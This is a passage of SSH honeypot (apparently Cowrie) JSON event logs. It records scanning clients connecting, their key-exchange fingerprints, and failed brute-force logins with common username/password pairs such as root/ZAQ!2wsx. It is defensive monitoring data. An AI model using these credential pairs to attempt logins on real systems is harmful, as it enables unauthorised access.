.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:32.950605Z","src_ip":"176.65.139.95","session":"0e458d1a484a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:33.459474Z","src_ip":"176.65.139.95","session":"0e458d1a484a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:34.544785Z","src_ip":"176.65.139.95","session":"0e458d1a484a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43618,"dst_ip":"159.203.135.109","dst_port":22,"session":"7887103ee935","protocol":"ssh","message":"New connection: 176.65.139.95:43618 (159.203.135.109:22) [session: 7887103ee935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:38.535859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:38.540454Z","src_ip":"176.65.139.95","session":"7887103ee935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:38.629159Z","src_ip":"176.65.139.95","session":"7887103ee935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:38.899431Z","src_ip":"176.65.139.95","session":"7887103ee935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:40.015883Z","src_ip":"176.65.139.95","session":"7887103ee935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58322,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7f61099139f","protocol":"ssh","message":"New connection: 80.94.92.186:58322 (159.203.135.109:22) [session: b7f61099139f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:44.337628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:44.442459Z","src_ip":"80.94.92.186","session":"b7f61099139f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60154,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b5b17eeb252","protocol":"ssh","message":"New connection: 176.65.139.95:60154 (159.203.135.109:22) [session: 5b5b17eeb252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:44.494352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:44.498755Z","src_ip":"176.65.139.95","session":"5b5b17eeb252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:44.565478Z","src_ip":"80.94.92.186","session":"b7f61099139f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:44.580740Z","src_ip":"176.65.139.95","session":"5b5b17eeb252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:44.835714Z","src_ip":"176.65.139.95","session":"5b5b17eeb252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:45.383008Z","src_ip":"80.94.92.186","session":"b7f61099139f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:46.088960Z","src_ip":"176.65.139.95","session":"5b5b17eeb252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:46.544305Z","src_ip":"80.94.92.186","session":"b7f61099139f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33024,"dst_ip":"159.203.135.109","dst_port":22,"session":"37150476cd6b","protocol":"ssh","message":"New connection: 159.203.92.129:33024 (159.203.135.109:22) [session: 37150476cd6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:48.933464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:48.938448Z","src_ip":"159.203.92.129","session":"37150476cd6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:48.947098Z","src_ip":"159.203.92.129","session":"37150476cd6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"JinLingzi","password":"JinLingzi","message":"login attempt [JinLingzi/JinLingzi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:48.984479Z","src_ip":"159.203.92.129","session":"37150476cd6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:49.991674Z","src_ip":"159.203.92.129","session":"37150476cd6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53122,"dst_ip":"159.203.135.109","dst_port":22,"session":"57aedf069c91","protocol":"ssh","message":"New connection: 176.65.139.95:53122 (159.203.135.109:22) [session: 57aedf069c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:50.566998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:50.574053Z","src_ip":"176.65.139.95","session":"57aedf069c91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:50.685338Z","src_ip":"176.65.139.95","session":"57aedf069c91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:50.969912Z","src_ip":"176.65.139.95","session":"57aedf069c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:52.102165Z","src_ip":"176.65.139.95","session":"57aedf069c91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53138,"dst_ip":"159.203.135.109","dst_port":22,"session":"20a44b28521d","protocol":"ssh","message":"New connection: 176.65.139.95:53138 (159.203.135.109:22) [session: 20a44b28521d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:56.517264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:56.522369Z","src_ip":"176.65.139.95","session":"20a44b28521d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:56.605309Z","src_ip":"176.65.139.95","session":"20a44b28521d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:57.216134Z","src_ip":"176.65.139.95","session":"20a44b28521d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:58.309915Z","src_ip":"176.65.139.95","session":"20a44b28521d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39762,"dst_ip":"159.203.135.109","dst_port":22,"session":"c37e3b1242f7","protocol":"ssh","message":"New connection: 176.65.139.95:39762 (159.203.135.109:22) [session: c37e3b1242f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:02.429901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:02.437997Z","src_ip":"176.65.139.95","session":"c37e3b1242f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:02.577786Z","src_ip":"176.65.139.95","session":"c37e3b1242f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:03.252630Z","src_ip":"176.65.139.95","session":"c37e3b1242f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:04.342379Z","src_ip":"176.65.139.95","session":"c37e3b1242f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39772,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff21ce056668","protocol":"ssh","message":"New connection: 176.65.139.95:39772 (159.203.135.109:22) [session: ff21ce056668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:08.299300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:08.304178Z","src_ip":"176.65.139.95","session":"ff21ce056668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:46:08.387289Z","src_ip":"176.65.139.95","session":"ff21ce056668","protocol":"ssh"}
